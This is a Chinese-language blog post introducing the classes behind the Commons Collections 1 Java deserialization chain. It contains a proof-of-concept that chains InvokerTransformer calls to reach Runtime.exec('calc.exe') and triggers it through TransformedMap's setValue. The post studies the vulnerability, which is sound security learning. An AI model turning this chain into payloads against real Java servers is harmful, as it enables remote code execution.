天天看點

Java安全之Commons Collections1分析前置知識

Java安全之Commons Collections1分析前置知識

0x00 前言

Commons Collections的利用鍊也被稱為cc鍊,在學習反序列化漏洞必不可少的一個部分。Apache Commons Collections是Java中應用廣泛的一個庫,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java應用都使用了這個庫。

0x01 前置知識

這裡先來看一段網上找的,poc代碼

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class test {

    public static void main(String[] args) throws Exception {
        //此處建構了一個transformers的數組,在其中建構了任意函數執行的核心代碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers數組存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);

        //建立Map并綁定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map資料轉化鍊
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //觸發漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap後一串東西,其實就是擷取這個map的第一個鍵值對(value,value);然後轉化成Map.Entry形式,這是map的鍵值對資料格式
        onlyElement.setValue("foobar");
    }
}
           

先不管具體的實作,先來檢視一下運作結果。

Java安全之Commons Collections1分析前置知識

在調試這條鍊的時候會設定到一些沒接觸過的類,在調試前需要了解到這些類的一個作用,友善後面的了解。

Transformer

Transformer是Commons Collections中提供的一個接口

Java安全之Commons Collections1分析前置知識

ConstantTransformer

ConstantTransformer是Transformer的實作類

Java安全之Commons Collections1分析前置知識

在構造方法裡面對iconstant進行傳值,而其他的幾個方法都是擷取iconstant的值。

InvokerTransformer

InvokerTransformer也是Transformer的實作類,

Java安全之Commons Collections1分析前置知識

在構造方法中有三個參數,第⼀個參數是待執⾏的⽅法名,第⼆個參數

是這個函數的參數清單的參數類型,第三個參數是傳給這個函數的參數清單 。

裡面還提供了一個Transform的方法,該方法可以通過Java反射機制來進行執行任意代碼。

ChainedTransformer

ChainedTransformer也是實作了Transformer接⼝的⼀個類,

Java安全之Commons Collections1分析前置知識
Java安全之Commons Collections1分析前置知識

看到transform方法是通過傳入Trasnformer[]數組來對傳入的數值進行周遊并且調用數組對象的transform方法。

Map

Transform來執行指令需要綁定到Map上,抽象類AbstractMapDecorator是Apache Commons Collections提供的一個類,實作類有很多,比如LazyMap、TransformedMap等,這些類都有一個decorate()方法,用于将上述的Transformer實作類綁定到Map上,當對Map進行一些操作時,會自動觸發Transformer實作類的tranform()方法,不同的Map類型有不同的觸發規則。

TransformedMap

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
           

Transformer實作類分别綁定到map的key和value上,當map的key或value被修改時,會調用對應Transformer實作類的transform()方法。

我們可以把chainedtransformer綁定到一個TransformedMap上,當此map的key或value發生改變時,就會自動觸發chainedtransformer。

參考文章

https://www.cnblogs.com/litlife/p/12571787.html#transformer
https://xz.aliyun.com/t/7031#toc-8
           

0x02 未完續

CC鍊的調試比URLDNS要麻煩不少,調試的時候需要大量的知識填充。繼續mark中。